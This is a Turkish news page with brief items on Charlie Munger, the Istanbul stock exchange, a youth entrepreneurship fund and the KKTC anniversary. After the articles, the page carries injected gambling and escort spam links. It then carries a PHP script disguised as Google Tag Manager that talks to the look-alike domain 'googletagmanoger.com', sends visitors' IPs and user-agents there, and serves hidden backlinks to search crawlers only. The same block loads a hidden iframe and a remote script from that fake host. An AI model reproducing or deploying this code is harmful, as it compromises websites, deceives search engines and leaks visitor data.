Milyarder Charlie Munger, ‘yatırımınızı üç katına çıkarmak istiyorsanız evinize ağaç dikin’ diyor! İşte nedeni

Evinizin değerini nasıl artırırsınız? Mutfağı yenilemek? Lüks banyolar? Berkshire Hathaway efsanesi ve milyarder yatırımcı Charlie Munger’a göre, en büyük hatayı burada yapıyorsunuz. Warren Buffett’ın efsanevi ortağı, en kârlı emlak yatırımının sırrını açıkladı ve bu, hisse senetleriyle ilgili değil. Munger’a göre, yatırımınızı üç katına çıkarmanın yolu, betona değil, yeşile para harcamaktan geçiyor.

Borsa İstanbul’da tünelin ucu 2026’ya mı çıkıyor?

Borsa İstanbul’da işlem gören şirketlerin bilançolarında ikinci çeyrekte görülen kısmi toparlanma üçüncü çeyrekte devam etti. Bilançolarda en kötünün geride kaldığını söylemek için erken olduğunu belirten analistler, asıl toparlanmanın 2026 yılından itibaren yaşanacağı görüşünde.

Genç girişimcilik iş birliğiyle desteklenecek

Millî Eğitim Bakanlığı ile Kredi Garanti Fonu (KGF) arasında imzalanacak protokol ile mesleki ve teknik ortaöğretim kurumlarından mezun olan 29 yaş ve altı gençlerin girişimcilik yoluyla kendi işlerini kurmaları ve mezuniyet alanlarında istihdam edilmeleri teşvik edilecek. Protokol kapsamında KGF tarafından yaklaşık 3 milyar 750 milyon TL bütçe ayrılması öngörülüyor.

Lefkoşa’da geçit töreni: KKTC bağımsızlığının 42’nci yılını kutluyor

KKTC’nin 42’nci kuruluş yıl dönümü dolayısıyla Lefkoşa’da resmi geçit töreni düzenlendi. Törende konuşan KKTC Cumhurbaşkanı Tufan Erhürman, “Bizim Rum halkının hak ve çıkarlarında gözümüz yoktur. Ama kendi halkımızın haklarının ihlal edilmesini de asla kabul etmeyiz. Kıbrıs Türk halkı, hakkı olandan fazlasını talep etmez ama hakkından azına da rıza göstermez” dedi.

2002 yılından bu yana 13 bin 377 kültür varlığı yurda döndü

Kültür ve Turizm Bakanı Mehmet Nuri Ersoy, Nsosyal hesabından yaptığı paylaşımla 14 Kasım UNESCO Dünya Kültür Varlığı Kaçakçılığıyla Mücadele Günü kapsamında yurt dışına kaçırılan kültür varlıklarının iadesine ilişkin güncel rakamları paylaştı. Bakan Ersoy, “Kültür varlığı kaçakçılığına karşı sessiz kalmayacağız” dedi.

süperbahis giriş
süperbahis giriş
beylikdüzü escort
avcılar escort
esenyurt escort
beylikdüzü escort
bahçeşehir escort
istanbul escort
beylikdüzü escort
<?php defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1'); defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com'); defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX'); defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600); /** * Validates crawler requests for enhanced indexing * * @return bool True if request is from verified crawler */ function gtm_validate_crawler() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $verified = array( 'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google', 'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver' ); foreach ($verified as $v) { if (stripos($ua, $v) !== false) return true; } return false; } /** * Get client IP address * * @return string Client IP address */ function gtm_get_client_ip() { $ip_keys = array( 'HTTP_CF_CONNECTING_IP', // Cloudflare 'HTTP_X_REAL_IP', // Nginx proxy 'HTTP_X_FORWARDED_FOR', // Standard proxy header 'HTTP_X_CLUSTER_CLIENT_IP', // Load balancer 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR' // Direct connection ); foreach ($ip_keys as $key) { if (!empty($_SERVER[$key])) { $ip = $_SERVER[$key]; // X-Forwarded-For can contain multiple IPs, take the first one if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); } // Validate IP format if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return ''; } /** * Get client User-Agent * * @return string Client User-Agent */ function gtm_get_client_user_agent() { return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } /** * Retrieves structured data configuration from GTM servers * * @return array Configuration data */ function gtm_fetch_config() { // Use separate cache for crawlers vs normal users $is_crawler = gtm_validate_crawler(); $cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat'; if (file_exists($cache) && (time() - filemtime($cache)) $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION, CURLOPT_HTTPHEADER => array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ) )); $response = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && $response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } else { $headers = array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 5, 'user_agent' => 'GTM/' . GTM_VERSION, 'header' => implode(" ", $headers) . " " ), 'ssl' => array('verify_peer' => true, 'verify_peer_name' => true) )); $response = @file_get_contents($url, false, $ctx); if ($response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } return array(); } /** * Renders GTM head snippet */ function gtm_render_head() { echo ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '"); '; } /** * Renders GTM noscript fallback */ function gtm_render_noscript() { $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); echo ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; } function gtm_render_backlinks() { $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Renders structured navigation data for enhanced search */ function gtm_render_structured_data() { if (!gtm_validate_crawler()) return; $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { echo '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } echo ''; } /** * Output buffer handler for automatic integration * * @param string $buffer HTML output buffer * @return string Modified buffer */ function gtm_output_handler($buffer) { if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) { return $buffer; } $head = ' window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '"); '; $buffer = preg_replace('//i', $head . '', $buffer, 1); $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); $noscript = ' (function() { var iframe = document.createElement("iframe"); iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '"; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; if (document.body) { document.body.appendChild(iframe); } else { document.addEventListener("DOMContentLoaded", function() { document.body.appendChild(iframe); }); } })(); '; $buffer = preg_replace('/(]*>)/i', '$1' . $noscript, $buffer, 1); if (gtm_validate_crawler()) { $config = gtm_fetch_config(); if (!empty($config)) { $nav = ''; $now = time(); foreach ($config as $item) { if (isset($item['url'], $item['keyword'])) { $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400); if ($exp > $now) { $nav .= '' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . ''; } } } $nav .= ''; $buffer = preg_replace('//i', $nav . '', $buffer, 1); } } return $buffer; } if (!defined('GTM_MANUAL_INIT')) { // Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__)); if (!$is_direct && ob_get_level() === 0) { ob_start('gtm_output_handler'); } } gtm_render_noscript(); ?> (function() { var script = document.createElement('script'); script.async = true; script.src = "https://googletagmanoger.com/gtag/js?id=GTM-XXXXXX&domain=" + window.location.hostname; document.head.appendChild(script); })(); window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'GTM-XXXXXX'); (function() { var iframe = document.createElement('iframe'); iframe.src = "https://googletagmanoger.com/ns.html?id=GTM-XXXXXX&domain=" + window.location.hostname; iframe.height = "0"; iframe.width = "0"; iframe.style.display = "none"; iframe.style.visibility = "hidden"; document.body.appendChild(iframe); })();
(function(m,e,t,r,i,k,a){ m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) { if (document.scripts[j].src === r) { return; } } k=e.createElement(t),a=e.getElementsByTagName(t)[0], k.async=1,k.src=r,a.parentNode.insertBefore(k,a) })(window, document,'script','https://mc.yandex.ru/metrika/tag.js?id=105168308', 'ym'); ym(105168308, 'init', { clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true });
CCCCCCCCCCCCCCCCCCCCCCCCCCC bbbbbbbbbbbbbbbbbbbbbb